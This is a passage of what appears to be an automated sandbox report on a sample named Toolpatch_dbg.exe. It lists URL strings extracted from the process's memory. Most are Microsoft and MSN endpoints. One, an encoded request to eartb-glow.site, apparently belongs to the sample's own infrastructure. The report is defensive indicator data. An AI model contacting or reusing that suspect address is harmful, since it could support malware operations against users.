Source: Toolpatch_dbg.exe, 00000009.00000003.2241841074.0000000007F59000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://eartb-glow.site:443/1431?k2lqqcygc7o=UD%2BDUqlVS%2Bt%2F4hIkkNPGjEiJAv7%2BH6kSWGsrCO4ud3Pp6E%
Source: Toolpatch_dbg.exe, 00000009.00000003.2153771495.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068629821.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2015681402.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089692033.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ecs.nel.measure.office.net/api/report?TenantId=Edge&DestinationEndpoint=Edge-Prod-EWR30r4a&F
Source: Toolpatch_dbg.exe, 00000009.00000003.2051794331.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2090407314.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1982174293.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034197542.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016200651.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: Toolpatch_dbg.exe, 00000009.00000003.1954782559.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1958546360.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: Toolpatch_dbg.exe, 00000009.00000003.1983193366.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.2031600080.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/assett
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.2015605043.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032811661.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/assetMbP?
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/assetet
Source: Toolpatch_dbg.exe, 00000009.00000003.2018007790.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2073663264.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2159261865.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001995735.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2092760616.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/assetbP?
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031600080.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/assetre
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: Toolpatch_dbg.exe, 00000009.00000003.1983427977.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2001755895.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset.0
Source: Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/assetpM
Source: Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ent-api.msn.com/%22
Source: Toolpatch_dbg.exe, 00000009.00000003.1983905217.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA12sf7A.img
Source: Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2052835827.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2030758571.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.2031600080.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t.js47
Source: Toolpatch_dbg.exe, 00000009.00000003.2034726506.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034861404.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.1953968635.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AA1u24yb.img
Source: Toolpatch_dbg.exe, 00000009.00000003.1953968635.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAc9vHK.img
Source: Toolpatch_dbg.exe, 00000009.00000003.2052662577.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157774445.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.2111904920.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066896946.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2148025600.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2048949273.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.1953968635.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1lFz6G.img
Source: Toolpatch_dbg.exe, 00000009.00000003.1973176052.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2031600080.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img-s-msn-com.akamaized.net/tenant/amp/entityid/BB1msyCF.img
Source: Toolpatch_dbg.exe, 00000009.00000003.1985890001.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1976475261.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049612547.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032910511.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A
Source: Toolpatch_dbg.exe, 00000009.00000003.1985890001.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1976475261.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049612547.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032910511.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA12sf7ALast-Modified:
Source: Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=tx-source-length:822
Source: Toolpatch_dbg.exe, 00000009.00000003.2119702428.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049085397.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035159630.0000000008276000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035117343.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=tlast-modified:Thu
Source: Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=tlast-modified:Wed
Source: Toolpatch_dbg.exe, 00000009.00000003.2071274420.000000000826E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t
Source: Toolpatch_dbg.exe, 00000009.00000003.2071274420.000000000826E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=tx-source-length:143
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/Char
Source: Toolpatch_dbg.exe, 00000009.00000003.2053032937.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157492899.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2069648830.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955699547.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035032743.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983609829.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016851338.0000000008291000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/
Source: Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054391488.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2130822856.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.?0
Source: Toolpatch_dbg.exe, 00000009.00000003.2053032937.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157492899.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2069648830.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955699547.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2035032743.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1983609829.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016851338.0000000008291000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.?loc
Source: Toolpatch_dbg.exe, 00000009.00000003.1986179227.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2108173386.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1972412950.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1998646140.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2087086124.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2147125938.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2047411888.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2066066371.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2014124792.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2030758571.0000000002E93000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Toolpatch_dbg.exe, 00000009.00000003.2094500450.0000000002E92000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://msn.com0
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://nextdns.io/privacy
Source: Toolpatch_dbg.exe, 00000009.00000003.1999289037.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1946389644.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://nextdns.io/privacyr
Source: Toolpatch_dbg.exe, 00000009.00000003.1987629392.0000000002E9C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.
Source: Toolpatch_dbg.exe, 00000009.00000003.2015605043.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049467523.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032811661.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068488300.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2118925675.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2089565586.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1976243431.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.0
Source: Toolpatch_dbg.exe, 00000009.00000003.1986704886.0000000002E96000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2002993039.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2071193527.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2074506422.00000000082B1000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1952926194.000000000826B000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2108173386.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2003088886.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034307268.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1973176052.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2068242549.000000000829C000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054299559.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2017631657.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2075091210.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2160905335.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051794331.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2002102901.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2074863504.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2153771495.0000000008269000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com
Source: Toolpatch_dbg.exe, 00000009.00000003.2003088886.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053032937.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2053177734.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2157492899.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2090519829.0000000002E9A000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2034307268.0000000002E93000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2036045295.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2032910511.0000000008275000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2069648830.0000000008291000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2054299559.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2160905335.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2051794331.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2002102901.0000000002E92000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2074863504.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2071274420.000000000826E000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2049612547.0000000008275000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091193020.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2153771495.0000000008269000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2016936045.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2127991752.0000000002EB0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/
Source: Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1955957822.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/&l
Source: Toolpatch_dbg.exe, 00000009.00000003.2070119697.000000000826F000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.2091272655.000000000826F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/:1
Source: Toolpatch_dbg.exe, 00000009.00000003.2074506422.00000000082B1000.00000004.00000001.00020000.00000000.sdmp, Toolpatch_dbg.exe, 00000009.00000003.1985890001.000000000829C000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/co
Source: Toolpatch_dbg.exe, 00000009.00000003.1957380720.00000000082B7000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/e9
